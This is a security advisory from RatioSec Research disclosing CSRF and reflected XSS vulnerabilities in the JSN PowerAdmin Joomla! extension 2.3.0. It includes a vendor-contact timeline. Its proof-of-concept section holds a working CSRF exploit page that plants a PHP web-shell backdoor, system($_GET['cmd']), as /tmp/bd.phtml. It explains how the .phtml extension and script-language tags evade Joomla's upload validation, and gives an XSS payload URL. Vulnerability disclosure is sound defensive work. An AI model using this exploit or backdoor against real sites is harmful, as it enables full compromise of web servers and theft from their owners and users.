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RatioSec Research Security Advisory RS-2016-001
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JSN PowerAdmin Joomla! Extension Remote Command Execution Via CSRF and
XSS vulnerabilities
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Product: JSN PowerAdmin Joomla! Extension
Vendor: JoomlaShine.com
Tested Versions: 2.3.0
Other Vulnerable Versions: Prior versions may also be affected
Vendor Notification: 28th January, 2016
Advisory Publication: 24th February, 2016
CVE Reference: Pending
RatioSec Advisory Reference: RS-2016-001
Risk Level: High
CVSSv3 Base Score: AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

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RatioSec Research has discovered two cross-site request forgery and
reflected cross-site scripting vulnerabilities in JSN PowerAdmin
Joomla! Extension which can be exploited, respectively, to upload PHP
files and run arbitrary HTML and script code in a user's browser
session in context of the affected web site.

1) The application allows users to perform certain actions via HTTP
requests without performing proper checks to verify the requests
validity. An authenticated user's browser can be forced to upload PHP
files via the extension installer and subsequently execute arbitrary
commands with the web server privileges by tricking the user into
visiting a malicious web site.

2) Input passed to `identified_name` GET parameter when `package` is
set, `option` is set to `com_poweradmin`, `view` is set to
`installer`, and `task` is set to `installer.install` in
`/administrator/index.php` is not properly sanitised before being
reflected. This can be exploited to run arbitrary HTML and script code
in a user's browser session in context of the affected web site.

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Proof of Concept

Read the advisory details on the RatioSec Research website for the
proof of concept code.
http://www.ratiosec.com/2016/jsn-poweradmin-joomla-extension-rce-via-csrf-and-xss/

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Solution

No official solution is currently available.

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Timeline

- First contact: 27th January, 2016
- Disclosure: 28th January, 2016. Preliminary date set to 10th, February 2016.
- E-mail notice after no response: 02nd February, 2016
- Advisory Publication: 24th February, 2016

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Advisory URL

http://www.ratiosec.com/2016/jsn-poweradmin-joomla-extension-rce-via-csrf-and-xss/

RatioSec Research

Mail: research at ratiosec dot com
Web: http://www.ratiosec.com/
Twitter: https://twitter.com/ratio_sec



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Proof Of Concept

1) The following HTML page exploits the cross-site request forgery vulnerability and uploads a malicious PHP script system($_GET['cmd']); as /tmp/bd.phtml if visited by a logged-in administrator.

<html>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/no8/joomla/administrator/index.php?option=com_poweradmin&view=installer&task=installer.install", true);
        xhr.setRequestHeader("Accept", "*/*");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------167969427914885435381146171168");
        xhr.withCredentials = true;
        var body = "-----------------------------167969427914885435381146171168\r\n" +
          "Content-Disposition: form-data; name=\"package\"; filename=\"bd.phtml\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3cscript language=\"php\"\x3esystem($_GET['cmd']);\r\n" +
          "\r\n" +
          "-----------------------------167969427914885435381146171168--\r\n" +
          "\r\n" +
          "\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Submit request" onclick="submitRequest();" />
    </form>
  </body>
</html>

The file extension .phtml and the <script language="php"> </script> tags are used here to fool the Joomla API JFile::upload() file validation checks. As result, the backdoor is installed permanently as /tmp/bd.phtml which can be used lately by the attacker to obtain the full system compromise.

Command Execution

2) The following URL exploits the cross-site scripting vulnerability to execute javascript code in a logged-in administrator’s browser.

http://localhost/joomla/administrator/index.php?package=foobar&option=com_poweradmin&view=installer&task=installer.install&identified_name=<img+src%3dx+onerror=alert("RatioSecResearch")>